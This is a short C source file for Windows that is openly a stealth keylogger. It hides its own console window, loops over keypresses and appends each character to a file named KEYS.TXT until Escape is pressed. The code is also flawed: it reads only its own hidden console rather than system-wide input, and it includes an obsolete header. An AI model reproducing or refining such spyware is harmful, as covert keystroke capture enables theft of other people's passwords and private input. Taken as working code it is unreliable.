# include <stdio.h>
# include <conio.h>
# include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
{
int cha;
char ch;
FILE *fptr;
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
while(1)
{
if ( kbhit() )
{
ch = getch();
cha = ch;
fptr = fopen("KEYS.TXT", "a+");
fputc(ch,fptr);
fclose(fptr);
if ( cha == 27 )
{
return 0;
}
}
}
}